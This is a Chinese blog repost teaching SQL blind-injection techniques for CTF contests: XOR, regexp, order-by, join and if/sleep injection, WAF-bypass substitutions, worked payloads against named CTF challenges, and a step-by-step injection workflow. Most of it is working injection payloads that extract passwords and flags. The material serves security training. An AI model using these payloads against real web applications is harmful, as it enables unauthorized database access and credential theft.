CTF中几种通用的sql盲注手法和注入的一些tips

转载

xuchen16 于 2018-10-09 23:45:14 发布 1983 收藏 12
分类专栏： ctf 文章标签： ctf sql盲注 sql注入

转载自：https://www.anquanke.com/post/id/160584

0x00 前言

在ctf比赛中难免会遇到一些比较有(keng)趣(die)的注入题，需要我们一步步的绕过waf和过滤规则，这种情况下大多数的注入方法都是盲注。然而在盲注过程中由于这些过滤规则不太好绕过，这时候就会无从下手，下面分享一下自己在比赛中总结几种比较通用的盲注手法和一些小tips，希望能在今后大家的比赛或者实战中带来一些实质性的帮助。

0x01 XOR注入

> 因为这种方法利用了异或符号，所以给它取名为xor注入

1、基本注入payload

```
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
```

我们来分析一下这个语句的格式：

首先我们先根据^符号来分割开语句：

```
admin'
ascii(mid((password)from(i)))>j
'1'='1'%23
```

最前面和最后面的语句都固定为真（逻辑结果都为1），只有中间的语句不确定真假
那么整个payload的逻辑结果都由中间的语句决定，我们就可以用这个特性来判断盲注的结果了

```
0^1^0 --> 1 语句返回为真
0^0^0 --> 0 语句返回为假
```

这里mid函数的使用方法：

正常的用法如下，对于str字符串，从pos作为索引值位置开始，返回截取len长度的子字符串

```
MID(str,pos,len)
```

这里的用法是，**from(1)表示从第一个位置开始截取剩下的字符串，for(1)表示从改位置起一次就截取一个字符**

```
mid((str)from(i))
mid((str)from(i)for(1))
```

看下图的查询结果应该就知道用法了：

这里可能还会有疑问：为什么这里不加for可以正常运行呢？

> 因为这里的ascii函数是默认取字符串中第一个字符的ascii码做为输出

2、使用场景

> 过滤了关键字：and、or
> 过滤了逗号，
> 过滤了空格

如果这里过滤了=号的话，还可以用>或者<代替(大小的比较)

```
payload：admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23
```

如果这里过滤了%号和注释符的话，那就把最后一个引号去掉就可以和后面的引号匹配了 '1'='1

0x02 regexp注入

1、基本注入payload

`select (select语句) regexp '正则'`

下面举一个例子来说明一下用法：

首先正常的查询语句是这样：

```
select user_pass from users where user_id = 1
```

接着进行正则注入，若匹配则返回1，不匹配返回0

```
select (select user_pass from users where user_id = 1) regexp '^a'
```

这里的^表示pattern的开头

接着一步步判断

或者regexp这个关键字还可以代替where条件里的=号

```
select * from users where user_pass regexp '^a9'
```

2、使用场景

> 过滤了=、in、like

这里的^如果也被过滤了的话，可以使用$来从后往前进行匹配

详细的正则注入教程可以看这里：
http://www.cnblogs.com/lcamry/articles/5717442.html

0x03 order by盲注

1、基本注入payload

```
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3
```

首先先看看order by的使用方法：

```
order by 'number' (asc/desc)
```

即对某一列进行排序，**默认是升序排列**，即后面默认跟上asc，那么上面一句就相当于

```
select * from users order by 3 asc
```

我们在注入时经常会使用order by来判断数据库的列数，那我们这里使用他配合union select来进行注入

2、原理分析

首先正常的注入是蓝色那部分的字符串，这里我们的目的是要注出test用户的user_pass值
接着我们在语句后面加上order by 3，即对第三列进行升序排列(按照ascii码表)
这里的user_pass列中的3是我们union select里面的第三列，这里就把'3'替换为'a'
这里可能看不出什么变化，那么把他改成'b'看看
看到用户test跑到第一行来了，所以这里经常用来判断有返回差异的注入，且返回只有一列的输出，根据差异来判断我们盲注的值是否正确

当然这里也可以使用order by desc降序排列来注入，所以这里要根据使用场景来进行选择

3、使用场景

> 过滤了列名
> 过滤了括号
> 适用于已知该表的列名以及列名位置的注入

0x04 实例讲解

1、ascii盲注来自skctf login3的一道题，bugku上也有：

题目链接：http://123.206.31.85:49167/
是标准的登陆框，因为存在注入，先fuzz一下过滤了什么字符。使用bp的intruder模块载入字典进行fuzz(字典在后面会分享给大家)。

可以看到这里的=，空格、and、or都被过滤了，但是>、<、^没有被过滤，所以这里使用ascii盲注

这里最后是要注入出admin的password，过程就不详细讲解了，直接给出payload：

```
username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23
```

网鼎杯第二场的一道注入题sqlweb的其中一种解法也是用到这种ascii盲注
这个payload和我们上面说的是一样的，所以这个就靠你们自己慢慢消化了。

2、regexp盲注是来自实验吧一道注入题

题目链接：http://ctf5.shiyanbar.com/web/earnest/index.php
writeup链接：http://www.shiyanbar.com/ctf/writeup/4828
当初也是看着p牛的wp做的，发现这道虽然难了点，但是里面的sql的知识点考的倒是不错，是练习过waf的一道好题目。

这道题只有一个id作为输入点，id存在注入点，但是过滤了很多东西，前面的步骤就不详细说了，去看p牛的详细解答
看到这里，过滤了^，但是没过滤$，所以xor注入就无效了，这边选择regexp注入使用$符号从后往前注入

```
0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='
```

这里是用python写的脚本，一个一个的对字符串的正则匹配得到最后flag

3、union盲注利用起来比较简单，就是利用上面说的那些条件进行注入，例子是来自蓝鲸ctf的一道ctf题目：

题目链接：http://ctf.whaledu.com:10012/52gw5g4hvs59/

题目好像进不去了，但是可以看我的writeup
首先题目存在sql注入还有一个上传点，可以通过注入拿到所有源码

拿到之后进行审计，发现上传时文件以随机字符串上传到了/Up10aD/文件夹下，我们的目的就是要通过注入拿到上传后的文件，在原来的注入点使用order by盲注将文件名得到:

重点就在order by盲注这，**注入点在id这里**：

那么写出order by盲注的脚本如下图：

这里存在过滤，绕过的方法是双写绕过，所以payload看起来不是很清楚，正常的应该是这样的：

```
image = 79 union distinct select 0x{filename} order by 1 desc
```

注意前面的image=79是存在的图片的id，这样order by才可以进行对比实现

这个注入形式也是和我们上面讲解一样，所以大家可以自己找题目来练习。

0x05 其他的一些小tips

1、一些等效替代的函数(特殊符号)

字符：

```
空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'
```

> @tmp:=test只能用在select关键字之后，等号后面的字符串随意

函数：

```
字符串截断函数：left()、mid()、substr()、substring()
取ascii码函数：ord()、ascii()
```

2、 一次性报所有表明和字段名

```
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND
```

3、Subquery returns more than 1 row的解决方法

产生这个问题的原因是子查询多于一列，也就是显示为只有一列的情况下，没有使用limit语句限制，就会产生这个问题，即limt 0,1

如果我们这里的逗号被过滤了咋办？那就使用offset关键字：

```
limit 1 offset 1
```

如果我们这里的limit被过滤了咋办？那就试试下面的几种方法：

```
(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT
```

上面这些都涉及到了sql基本语句，这里就不一一举例了。大家可以多在本地环境试试，加深理解

4、join注入

payload：：

```
1' union select * from (select 1) a join (select 2) b %23
```

优势：过滤了逗号的情况下使用

下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用

```
union all
select * from(
    (select 1)a join(
        select F.[需要查询的字段号] from(
            select * from [需要查询的表有多少个字段就join多少个]
            union
            select * from [需要查询的表] [limit子句]
        )F-- 我们创建的虚拟表没有表名，因此定义一个别名，然后直接[别名].[字段号]查询数据
    )b-- 同上[还差多少字段就再join多少个，以满足字段数相同的原则]
)
```

具体的使用方法不在本文的讨论范围内，具体的使用可以看看下面的文章：
https://blog.csdn.net/qq_33020901/article/details/78906268

5、带!的注入

直接看下面的payload，适用于and、or、^被过滤的情况下使用，有时候可能也会使用到，但是具体的原理不是很明白，大家可以自行google

6、if盲注(合理利用条件)

if盲注的基本格式：

```
if(条件,条件为真执行的语句,条件为假执行的语句)
```

举个例子：

```
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)
```

用好if盲注的关键是条件的输入，有一道BCTF的注入题的wp用的就是if盲注

wp链接：https://www.kingkk.com/2018/04/bctf2018-love-q/

写博客的这位大佬巧妙利用了**pow函数数值溢出的特性**，使得经过if判断后的条件会报错，但是不执行该语句时语法上是没问题的

原理如下：

mysql> **select if(1,1,pow(2,22222222222)); //条件为真时，返回1**
+————————————————+
| if(1,1,pow(2,22222222222)) |
+————————————————+
| 1 |
+————————————————+
1 row in set (0.00 sec)

mysql> **select if(0,1,pow(2,22222222222)); //条件为假时，报错**
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,22222222222)'

像利用pow这种函数溢出的特性也不止这一个，这就需要我们靠平时的经验积累了，总之想要玩好ctf的注入题途径就是多刷题。

0x06 自己总结的注入流程

1、先找到注入点，id=，username=，判断GET/POST/COOKIE注入

2、查看显示位，如果只有一个显示位在使用union注入是注意使用limit来限制显示

3、判断字符型注入还是数字型注入（2-1，'是否正常）

4、输入不同值查看页面是否有变化，无变化的话可以考虑采用bool时间盲注，若有报错信息优先考虑报错注入（exp，updatexml（优先采用updatexml、extractvalue报错））

5、先简单测试空格和注释符是否被替换了，id=1 1，id = 1%231（看看能否用/ /、%20、%0a、%09绕过）

6、进行fuzz，看看那些被waf了

7、若页面上没有显示waf过滤之类的提示（sql injection detected），就测试是否有被替换为空的字符（如：' or '*'='、' or '-'=' ，如果页面返回正常的话，则说明该字符被替换为空）

8、简单尝试双写、编码、大小写替换的方法，判断是否可以绕过

9、确定注入方式（尽量把盲注放最后），union、报错注入、盲注

10、先在bp中跑一遍看是否有结果

11、尝试写脚本

最重要的两步就是注入点并判断出注入类型，找到被过滤的函数和关键字并找到替代的函数和关键字，这就需要我们靠自己的耐心和细心还有经验的积累了。

0x07 结束语

上面的说的那些盲注手法都是在union注入、报错注入和可回显注入都失效的情况下使用的，**所以说盲注是一种通法，他也是放在最后使用的方法**，如果本来环境就存在回显的点可以用union直接注入出来，还使用盲注显的有点多此一举，也浪费很多时间。所以这些方法需要根据大家遇到的实际情况进行灵活运用，最后记得多刷题！多刷题！多刷题！最后希望文章能对大家带来帮助。

0x08 其他一些不错的参考文章

SQL注入绕过技巧

SQLi filter evasion cheat sheet

我的WafBypass之道（SQL注入篇）

sql 盲注之正则表达式攻击

mysql无逗号的注入技巧

fuzz字典